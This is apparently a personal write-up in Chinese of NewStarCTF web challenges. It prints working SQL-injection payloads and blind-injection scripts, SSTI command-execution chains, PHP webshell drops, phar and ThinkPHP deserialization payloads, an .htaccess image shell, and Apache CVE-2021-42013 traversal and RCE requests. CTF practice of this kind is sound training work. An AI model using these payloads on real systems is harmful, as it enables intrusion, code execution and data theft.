week1
HTTP
cookie 修改admin 源码发现key GET和POST传参即可
Head?Header!
User-Agent: CTF
Referer: ctf.com
X-Forwarded-For: 127.0.0.1
我真的会谢
信息泄露
robots.txt
www.zip
源码 + /.index.php.swp
NotPHP 函数绕过
if(file_get_contents($_GET['data']) == "Welcome to CTF"){
if(md5($_GET['key1']) === md5($_GET['key2']) && $_GET['key1'] !== $_GET['key2']){
if(!is_numeric($_POST['num']) && intval($_POST['num']) == 2077){
echo "Hack Me";
eval("#".$_GET['cmd']);
}else{
die("Number error!");
}
}else{
die("Wrong Key!");
}
}else{
die("Pass it!");
1,绕过file_get_contents(),用input伪协议,即 /?data=php://input
POST一个Welcome to CTF
用data协议绕,?data=data://text/plain;base64,V2VsY29tZSB0byBDVEY=
2,md5强比较碰撞&key1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&key2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
这里可以直接数组绕过 key1[]=1&key2[]=2
3,绕数字判断,intval只取前面的数字,后面的字母会忽略
num=2077abc
4,绕# 命令执行,用回车符%0d,
我用换行符%0a
打不通不知道为啥
&cmd=%0dsystem("ls /");
在bp里需要URL编码进去rec
Word-For-You 万能密码
一个留言板和查询,为什会考查万能密码
万能密码NewCTFer' or 1#
week2
Word-For-You(2 Gen) 报错注入
哇哇哇,我把查询界面改了,现在你们不能从数据库中拿到东西了吧哈哈(不过为了调试的代码似乎忘记删除了
有报错信息回显,那就报错注入
name=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
name=1'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+
name=1'and updatexml(1,concat(0x7e,(select right(group_concat(table_name),30) from information_schema.tables where table_schema=database()),0x7e),1)--+
name=1'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='wfy_comments'),0x7e),1)--+
name=1'and updatexml(1,concat(0x7e,(select right(group_concat(text),30) from wfy.wfy_comments),0x7e),1)--+
IncludeOne 文件包含+伪随机数
include("seed.php");
//mt_srand(*********);
echo "Hint: ".mt_rand()."<br>";
if(isset($_POST['guess']) && md5($_POST['guess']) === md5(mt_rand())){
if(!preg_match("/base|\.\./i",$_GET['file']) && preg_match("/NewStar/i",$_GET['file']) && isset($_GET['file'])){
//flag in `flag.php`
include($_GET['file']);
}else{
echo "Baby Hacker?";
}
}else{
echo "No Hacker!";
}
Hint: 1219893521
用工具跑一下种子 ,php伪随机数的考点看https://www.freebuf.com/column/205240.html
得到seed是1145146,那么如何得到固定的mt_rand()呢,去运行mt_srand(1145146)
<?php
mt_srand(1145146);
mt_rand();
echo mt_rand();
?> 得到1202031004
伪协议读取flag.php ,那么对filter进行了过滤 base,可以两次url编码绕过,NewStar就是直接用|加进去过滤器
UnserializeOne 反序列化
<?php
error_reporting(0);
highlight_file(__FILE__);
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start{
public $name;
protected $func;
public function __destruct()
{
echo "Welcome to NewStarCTF, ".$this->name;
}
public function __isset($var)
{
($this->func)();
}
}
class Sec{
private $obj;
private $var;
public function __toString()
{
$this->obj->check($this->var);
return "CTFers";
}
public function __invoke()
{
echo file_get_contents('/flag');
}
}
class Easy{
public $cla;
public function __call($fun, $var)
{
$this->cla = clone $var[0];
}
}
class eeee{
public $obj;
public function __clone()
{
if(isset($this->obj->cmd)){
echo "success";
}
}
}
if(isset($_POST['pop'])){
unserialize($_POST['pop']);
}
先找可利用函数,找到file_get_contents(‘/flag’); 直接输出flag了
找链子
Start类__destruct()
–>Sec类__toString()
–>Easy类__call
–>eeee类__clone
–>``Start类__isset`–>
Sec类__invoke
这里唯一比较绕的点是__call($fun, $var)
这个$fun
是上一步调用的方法名即check
,$var
是其参数即($this->var)
所以进入__call()
的方法是 构造$this->var
构造pop
<?php
class Start{
public $name;
public $func;
}
class Sec{
public $obj;
public $var;
}
class Easy{
public $cla;
}
class eeee{
public $obj;
}
$st = new Start();
$se = new Sec();
$ea = new Easy();
$ee = new eeee();
$st->name=$se;
$se->obj=$ea;
$se->var=$ee;
$ee->obj=$st;
$st->func=$se;
echo serialize($st);;
O:5:"Start":2:{s:4:"name";O:3:"Sec":2:{s:3:"obj";O:4:"Easy":1:{s:3:"cla";N;}s:3:"var";O:4:"eeee":1:{s:3:"obj";r:1;}}s:4:"func";r:2;}
ezAPI graphQL
qsdz开发了一个查询网页,但是好像存在一些漏洞?
之前没遇到过graphQL这个知识点,此文不错 https://mp.weixin.qq.com/s/gp2jGrLPllsh5xn7vn9BwQ
本题首先是源码泄露 www.zip
<?php
error_reporting(0);
$id = $_POST['id'];
function waf($str)
{
if (!is_numeric($str) || preg_replace("/[0-9]/", "", $str) !== "") {
return False;
} else {
return True;
}
}
function send($data)
{
$options = array(
'http' => array(
'method' => 'POST',
'header' => 'Content-type: application/json',
'content' => $data,
'timeout' => 10 * 60
)
);
$context = stream_context_create($options);
$result = file_get_contents("http://graphql:8080/v1/graphql", false, $context);
return $result;
}
if (isset($id)) {
if (waf($id)) {
isset($_POST['data']) ? $data = $_POST['data'] : $data = '{"query":"query{\nusers_user_by_pk(id:' . $id . ') {\nname\n}\n}\n", "variables":null}';
$res = json_decode(send($data));
if ($res->data->users_user_by_pk->name !== NULL) {
echo "ID: " . $id . "<br>Name: " . $res->data->users_user_by_pk->name;
} else {
echo "<b>Can't found it!</b><br><br>DEBUG: ";
var_dump($res->data);
}
} else {
die("<b>Hacker! Only Number!</b>");
}
} else {
die("<b>No Data?</b>");
}
?>
可以知道是要post一个data变量
一般考察的是,内省查询,就是本来只应该内部进行访问,但配置错误导致攻击者可以获得这些消息。
{"query":"\n query IntrospectionQuery {\r\n __schema {\r\n queryType { name }\r\n mutationType { name }\r\n subscriptionType { name }\r\n types {\r\n ...FullType\r\n }\r\n directives {\r\n name\r\n description\r\n locations\r\n args {\r\n ...InputValue\r\n }\r\n }\r\n }\r\n }\r\n\r\n fragment FullType on __Type {\r\n kind\r\n name\r\n description\r\n fields(includeDeprecated: true) {\r\n name\r\n description\r\n args {\r\n ...InputValue\r\n }\r\n type {\r\n ...TypeRef\r\n }\r\n isDeprecated\r\n deprecationReason\r\n }\r\n inputFields {\r\n ...InputValue\r\n }\r\n interfaces {\r\n ...TypeRef\r\n }\r\n enumValues(includeDeprecated: true) {\r\n name\r\n description\r\n isDeprecated\r\n deprecationReason\r\n }\r\n possibleTypes {\r\n ...TypeRef\r\n }\r\n }\r\n\r\n fragment InputValue on __InputValue {\r\n name\r\n description\r\n type { ...TypeRef }\r\n defaultValue\r\n }\r\n\r\n fragment TypeRef on __Type {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n ","variables":null}
查询这些数据就会返回所以的API信息
搜索flag关键字 找到flag的接口 ffffllllaaagggg_1n_h3r3_flag
现在只需要读flag就好了,当然也是通过graphQL的格式来读,看源码里读数据的格式
{"query":"query{\nusers_user_by_pk(id:' . $id . ') {\nname\n}\n}\n", "variables":null}
尝试读到数据,进行模仿读取flag
{"query":"query{\nffffllllaaagggg_1n_h3r3_flag{\nflag\n}\n}\n","variables":null}
week3
BabySSTI_One
简单的SSTI
是过滤了一些关键词class什么的,lipsum
这条链子直接梭了
/?name={{lipsum.__globals__['__builtins__']['eval']("__import__('os').popen('nl /fl*').read()")}}
常规思路打一波:
关键字被ban了可以用字符拼接一下 {{""['__cla'+'ss__']}}
先读基类和所有子类
/?name={{""['__cla'+'ss__']['__bas'+'e__']['__subcl'+'asses__']()}}
拿到后脚本跑一下 找敏感类
import json
a = """<class 'type'>, <class 'weakref'>, ......"""
num = 0
allList = []
result = ""
for i in a:
if i == ">":
result += i
allList.append(result)
result = ""
elif i == "\n" or i == ",":
continue
else:
result += i
for k, v in enumerate(allList):
if "os._wrap_close" in v:
print(str(k) + "--->" + v)
即用__subclasses__()[117]
到了下一个点,.init.globals
,这个init
用来初始化类,globals
用来全局查找所有方法和变量及参数是有popen
的,这个就可以命令执行了
/?name={{""['__cla'+'ss__']['__bas'+'e__']['__subcl'+'asses__']()[117]['__in'+'it__'].__globals__['popen']('id').read()}}
成功执行命令,最终payload
/?name={{""['__cla'+'ss__']['__bas'+'e__']['__subcl'+'asses__']()[117]['__in'+'it__'].__globals__['popen']('nl /fl*').read()}}
multiSQL 堆叠注入
堆叠注入
1';show databases#
1';show tables from english#
1';show columns from score#
现在的目的是帮助火华用户修改成绩,然后验证成绩才能得到flag
fuzz一下 很多关键字被ban了 ,update,select,insert
1,用replace代替insert进行修改
1';replace into score values("火华",400,400,400);#
删除 第一个火华 ,然后拿到flag
1';delete from score where listen=11;#
2,利用预处理prepare,然后concat
拼接字符串绕过
1';set @sql=concat('up','date `score` set listen=200 where username="火华"');prepare payload FROM @sql;execute payload#
3,尝试写shell
没有成功
IncludeTwo pearcmd.php的利用
How to RCE via LFI? P…
<?php
error_reporting(0);
highlight_file(__FILE__);
//Can you get shell? RCE via LFI if you get some trick,this question will be so easy!
if(!preg_match("/base64|rot13|filter/i",$_GET['file']) && isset($_GET['file'])){
include($_GET['file'].".php");
}else{
die("Hacker!");
}
这题是直接过滤了filter协议 ,这里可以考虑pearcmd.php
的利用,参考P神的文章
https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp
config-create
命令需要传入两个参数,其中第二个参数是写入的文件路径,第一个参数会被写入到这个文件中
/?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[1]);?>+/tmp/shell.php
访问shell文件即可rce
Maybe You Have To think More
访问一个错误页面就得到了TP的版本信息
整个页面是输入用户名的框 ,会将用户名存在cookie里面 以序列化语句+base64存入
O:17:"first\second\user":2:{s:8:"username";s:5:"12345";s:8:"password";N;}
所以反序列化点在cookie
网上有exp可以用https://www.freebuf.com/vuls/263977.html
TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo1OiJldGhhbiI7YToyOntpOjA7czozOiJkaXIiO2k6MTtzOjQ6ImNhbGMiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo1OiJldGhhbiI7TzoxMzoidGhpbmtcUmVxdWVzdCI6Mzp7czo3OiIAKgBob29rIjthOjE6e3M6NzoidmlzaWJsZSI7YToyOntpOjA7cjo5O2k6MTtzOjY6ImlzQWpheCI7fX1zOjk6IgAqAGZpbHRlciI7czo2OiJzeXN0ZW0iO3M6OToiACoAY29uZmlnIjthOjE6e3M6ODoidmFyX2FqYXgiO3M6MDoiIjt9fX19fX0=
放入cookie
然后get一个id执行命令 ,flag在环境变量里
week4
So Baby RCE
<?php
error_reporting(0);
if(isset($_GET["cmd"])){
if(preg_match('/et|echo|cat|tac|base|sh|more|less|tail|vi|head|nl|env|fl|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i',$_GET["cmd"])){
echo "Don't Hack Me";
}else{
system($_GET["cmd"]);
}
}else{
show_source(__FILE__);
}
主要是过滤文件读取命令 空格 /目录分隔符
看mochu师傅是:利用cd
切换目录,&&
执行多条命令,$@
绕过关键字 sort
命令也可以读文件,学习一波
/?cmd=cd${IFS}..%26%26cd${IFS}..%26%26cd${IFS}..%26%26ls
/?cmd=cd${IFS}..%26%26cd${IFS}..%26%26cd${IFS}..%26%26sort${IFS}fff?llllaaaaggggg
$@绕过关键字
/?cmd=cd${IFS}..%26%26cd${IFS}..%26%26cd${IFS}..%26%26ca$@t${IFS}ffff$@llllaaaaggggg
BabySSTI_Two
过滤比较上周更严 首先双引号" 就没了,但单引号’ . __ 还在
+被禁了,那么字符拼接就先放弃
还有一种思路是字符串逆序
{{''['__ssalc__'[::-1]]}}
来凑出关键字
{{''['__ssalc__'[::-1]]['__sesab__'[::-1]][0]['__sessalcbus__'[::-1]]()}}
{{''['__ssalc__'[::-1]]['__sesab__'[::-1]][0]['__sessalcbus__'[::-1]]()[117]['__tini__'[::-1]]['__slabolg__'[::-1]]['nepop'[::-1]]('id').read()}}
{{''['__ssalc__'[::-1]]['__sesab__'[::-1]][0]['__sessalcbus__'[::-1]]()[117]['__tini__'[::-1]]['__slabolg__'[::-1]]['nepop'[::-1]]('ls%09/').read()}}
读flag用上题的绕过方法即可
{{''['__ssalc__'[::-1]]['__sesab__'[::-1]][0]['__sessalcbus__'[::-1]]()[117]['__tini__'[::-1]]['__slabolg__'[::-1]]['nepop'[::-1]]('sort%09/fla?_in_h3r3_52daad').read()}}
UnserializeThree phar反序列化
有一个上传点,只上传图片
源码里面有注释
直接访问
<?php
highlight_file(__FILE__);
class Evil{
public $cmd;
public function __destruct()
{
if(!preg_match("/>|<|\?|php|".urldecode("%0a")."/i",$this->cmd)){
//Same point ,can you bypass me again?
eval("#".$this->cmd);
}else{
echo "No!";
}
}
}
file_exists($_GET['file']);
其实根本没有反序列化,就是直接eval了$cmd的内容
不过需要绕一下 "#".$this->cmd
,绕注释可以换行, ban了%0a
也就是\n
用\r
替代就可以
<?php
class Evil{
public $cmd = "\rsystem('cat /flag');";
}
$a = new Evil(); //创建对象
# 下面这部分就没改
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
生成的phar.phar
改后缀.jpg 然后上传
拿到路径后 phar读取
又一个SQL
这题主要是把空格过滤了 然而常规%09还有/**/还是被禁用了
/**/
这是多行注释
/*!*/
是内联注释, 本题可以用/*!*/
手测发现是数字型 ,和布尔盲注 ,回显好耶
即注入成功
写脚本盲注
import time
import requests
def getDatabase():
ans=''
for i in range(1,1000):
low = 32
high = 128
mid = (low+high)//2
while low < high:
#sql = "select/*!*/database()"
sql="select/*!*/group_concat(table_name)/*!*/from/*!*/information_schema.tables/*!*/where/*!*/table_schema=database()"# mysql.innodb_table_stats"
sql="select/*!*/group_concat(column_name)/*!*/from/*!*/information_schema.columns/*!*/where/*!*/table_name='wfy_comments'"
sql="select/*!*/group_concat(text)/*!*/from/*!*/wfy.wfy_comments"
payload= "1/*!*/and/*!*/(ascii(substr(({}),{},1))<{})#".format(sql,i,mid)
res = requests.post("http://55bf184d-6484-4bbe-bcae-5799b8bcf38b.node4.buuoj.cn:81/comments.php?name="+payload)
# print(payload)
# print(res.text.split("\n")[-1])
if "好耶" in res.text:
high = mid
else:
low = mid+1
mid=(low+high)//2
# if mid <= 32 or mid >= 127:
# break
time.sleep(0.5)
ans += chr(mid-1)
print("[+] "+ans)
getDatabase()
基本的盲注脚本注意空格即可
最后爆出的flag内容前面一堆不可见字符,所以脚本不要过滤不可见字符
week5
Give me your photo PLZ 图片马
最基础的图片马文件上传 ,Nginx服务器
.htaccess
也没被ban
<FilesMatch "pass.png">
SetHandler application/x-httpd-php
</FilesMatch>
传入.htaccess
pass.png 成功被执行
Unsafe Apache Apache版本漏洞利用
直接插件读到了服务器版本,响应头也可以
去搜版本漏洞利用, 都是Apache HTTP Server 2.4.50 路径穿越漏洞(CVE-2021-42013)
https://blog.csdn.net/weixin_47311099/article/details/121773364
目录穿越
http://your-ip:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
命令执行
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
echo;ls /
So Baby RCE Again
<?php
error_reporting(0);
if(isset($_GET["cmd"])){
if(preg_match('/bash|curl/i',$_GET["cmd"])){
echo "Hacker!";
}else{
shell_exec($_GET["cmd"]);
}
}else{
show_source(__FILE__);
}
过滤bash curl 是不让反弹shell ,代码是没有回显
可以通过shell_exec()写入shell
/?cmd=echo '<?php eval($_POST[1]);?>' > shell.php
但是发现读不到flag文件 ,蚁剑连接shell
ls -lha
查看文件权限
考虑SUID提权 ,蚁剑这个命令没回显,还是要保存一下 ,在浏览器执行还是有回显的,还是利用date直接读
find / -perm -u=s -type f 2>/dev/null
BabySSTI_Three
相较上周,又ban了下划线__ ,选择直接unicode编码绕
{{''['\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f']['\u005f\u005f\u0062\u0061\u0073\u0065\u0073\u005f\u005f'][0]['\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f']()}}
最后payload
{{''['__class__']['__bases__'][0]['__subclasses__']()[117]['__init__']['__globals__']['popen']('id').read()}}
编码后即
{{''['\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f']['\u005f\u005f\u0062\u0061\u0073\u0065\u0073\u005f\u005f'][0]['\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f']()[117]['\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f']['\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f']['\u0070\u006f\u0070\u0065\u006e']('id').read()}}
读flag
{{''['\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f']['\u005f\u005f\u0062\u0061\u0073\u0065\u0073\u005f\u005f'][0]['\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f']()[117]['\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f']['\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f']['\u0070\u006f\u0070\u0065\u006e']('sort%09/fla*').read()}}
Final round 时间盲注
啊呜,好困呜呜~~~
题干也提示 时间盲注了
依然脚本跑 ,这题很坑的是把/*!*/
也禁用了 ,所以使用括号分隔
import time
import requests
url='http://94a74348-9436-4092-a809-a2b7d8c9fc19.node4.buuoj.cn:81/comments.php'
def getflag():
ans=''
for i in range(1,100):
low = 32
high = 128
mid = (low+high)//2
while low < high:
sql = "database()"
sql="(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))"# mysql.innodb_table_stats
sql="(select(group_concat(column_name))from(information_schema.columns)where(table_name='wfy_comments'))"
sql="(select(reverse(group_concat(text)))from(wfy.wfy_comments))"
data={
'name':'132||if(ascii(substr({},{},1))<{},sleep(0.2),0)'.format(sql,i,mid)
}
start=time.time()
res = requests.post(url,data=data)
end = time.time()
time_cha=end-start
if time_cha>2:
high = mid
else:
low = mid+1
mid=(low+high)//2
ans += chr(mid-1)
print("[+] "+ans)
getflag()
还是好久没跑时间盲注的脚本了,有些东西废了点时间
设置睡的时间
和请求的时间差
那里一直不是特别了解,测试倒是没问题,sleep(0.2)时请求的时间差大概在2.5s
最后跑flag用了一下逆序reverse(),就不用等那么久了